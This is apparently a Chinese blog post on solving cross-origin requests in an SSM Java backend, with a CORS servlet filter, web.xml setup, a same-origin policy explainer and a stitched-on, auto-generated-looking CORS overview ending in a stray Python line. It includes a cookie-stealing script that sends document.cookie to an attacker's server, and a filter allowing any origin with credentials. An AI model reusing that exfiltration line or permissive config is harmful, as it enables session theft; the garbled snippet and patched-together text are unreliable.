ssm跨域解决

最近挑战杯项目要交了,最后一个开发的项目,还是得好好对待,不知道会不会真香,昨天还是遇到了一些问题,尤其是对接的时候,用postman对接的时候,没有啥问题,结果前端上线对接时,发现ajax无法请求到后台,才想起了我没处理跨域,顺便查阅了同源策略,复习了下劫持cookie,下面是浅谈ssm后台跨域解决及同源政策
一.ssm后台跨域

1.创建过滤器类

public class SimpleCORSFilter implements Filter {
    private boolean isCross = false;

    public void destroy() {
        isCross = false;
    }


    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException {
        if (isCross) {
            HttpServletRequest httpServletRequest = (HttpServletRequest) request;
            HttpServletResponse httpServletResponse = (HttpServletResponse) response;
            System.out.println("拦截请求: " + httpServletRequest.getServletPath());
            httpServletResponse.setHeader("Access-Control-Allow-Origin", "*");
            httpServletResponse.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE");
            httpServletResponse.setHeader("Access-Control-Max-Age", "0");
            httpServletResponse.setHeader("Access-Control-Allow-Headers",
                    "Origin, No-Cache, X-Requested-With, If-Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M-With,userId,token");
            httpServletResponse.setHeader("Access-Control-Allow-Credentials", "true");
            httpServletResponse.setHeader("XDomainRequestAllowed", "1");
        }
        chain.doFilter(request, response);
    }

    public void init(FilterConfig filterConfig) throws ServletException {
        String isCrossStr = filterConfig.getInitParameter("IsCross");
        isCross = isCrossStr.equals("true") ? true : false;
        System.out.println(isCrossStr);
    }


}

2.打开web.xml,创建过滤器


<filter>
    <filter-name>SimpleCORSFilter</filter-name>
    <filter-class>com.homyit.filter.SimpleCORSFilter</filter-class>
    <init-param>
      <param-name>IsCross</param-name>
      <param-value>true</param-value>
    </init-param>
  </filter>
  <filter-mapping>
  <filter-name>SimpleCORSFilter</filter-name>
  <url-pattern>/*</url-pattern>
  </filter-mapping>

二.同源策略

同源策略是一种约定,是浏览器保护用户安全的核心手段.按我的个人理解就是限制了其他源之间的交互
1.源及什么定义为同源
源:指的是协议:域名:端口号这三个元素组成的,也就是url前面的。
同源:指的是源的三个元素相同

2.同源策略种类

同源策略分为两种:
1.DOM同源策略
比如标签引用其他页面的时候,不可以在获得其他源的dom节点,禁止对其他源的dom进行操作
2.XHR同源策略
禁止向不同源的发出http请求
额外提下标签可以不受同源政策的限制,也就是容易引发cookie劫持.例如

<script>
var img = Document.createElement("img");
img.src="你服务器的ip"+document.cookie();
Document.getElement("html").appendChild(img);
</script>
### SSM Framework 中的 (CORS) 配置 在SSM(Spring MVC, Spring, MyBatis)框架中,资源共享(Cross-Origin Resource Sharing, CORS)是一个常见的需求。以下是几种方法可以用来配置支持。 #### 方法一:通过过滤器实现 可以在 `web.xml` 文件中定义一个自定义过滤器来处理请求。这种方式适用于需要为整个应用程序提供统一的策略的情况。 ```xml <filter> <filter-name>CorsFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>CorsFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> ``` 接着,在 Java 类中创建具体的过滤逻辑: ```java import javax.servlet.*; import java.io.IOException; public class CorsFilter implements Filter { @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletResponse response = (HttpServletResponse) res; response.setHeader("Access-Control-Allow-Origin", "*"); response.setHeader("Access-Control-Allow-Methods", "POST, GET, OPTIONS, DELETE, PUT"); response.setHeader("Access-Control-Max-Age", "3600"); response.setHeader("Access-Control-Allow-Headers", "Content-Type, Authorization, X-Requested-With"); chain.doFilter(req, res); } @Override public void init(FilterConfig filterConfig) {} @Override public void destroy() {} } ``` 此方式允许灵活控制哪些头文件被接受以及具体的方法[^3]。 #### 方法二:使用注解的方式开启全局支持 如果希望更简单地启用功能,则可以直接利用 Spring 提供的支持。只需在一个配置类上加上 `@CrossOrigin` 或者是在控制器级别添加该注解即可完成基本的功能设定。 对于全局生效情况可如下操作: ```java @Configuration public class WebConfig implements WebMvcConfigurer { @Override public void addCorsMappings(CorsRegistry registry) { registry.addMapping("/**") .allowedOrigins("*") .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS") .maxAge(3600L); } } ``` 上述代码片段展示了如何通过编程手段指定允许访问资源的所有源地址,并开放多种HTTP动词权限[^1]。 #### 方法三:局部范围内的细粒度控制 当只需要针对某些接口做特殊处理时,可以选择单独标注这些API端点上的 `@CrossOrigin` 注解形式来进行个性化定制化管理。 例如下面的例子只对该controller下的所有method有效果: ```java @RestController @RequestMapping("/api/v1/users") @CrossOrigin(origins="http://localhost:8080", methods={RequestMethod.GET}) public class UserController{ // API logic here... } ``` 以上三种途径都可以有效地解决不同场景下遇到的各种类型的难题。开发者可以根据实际业务需求选取最适合自己的方案实施部署。 ```python print("This is an example of Python code block.") ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值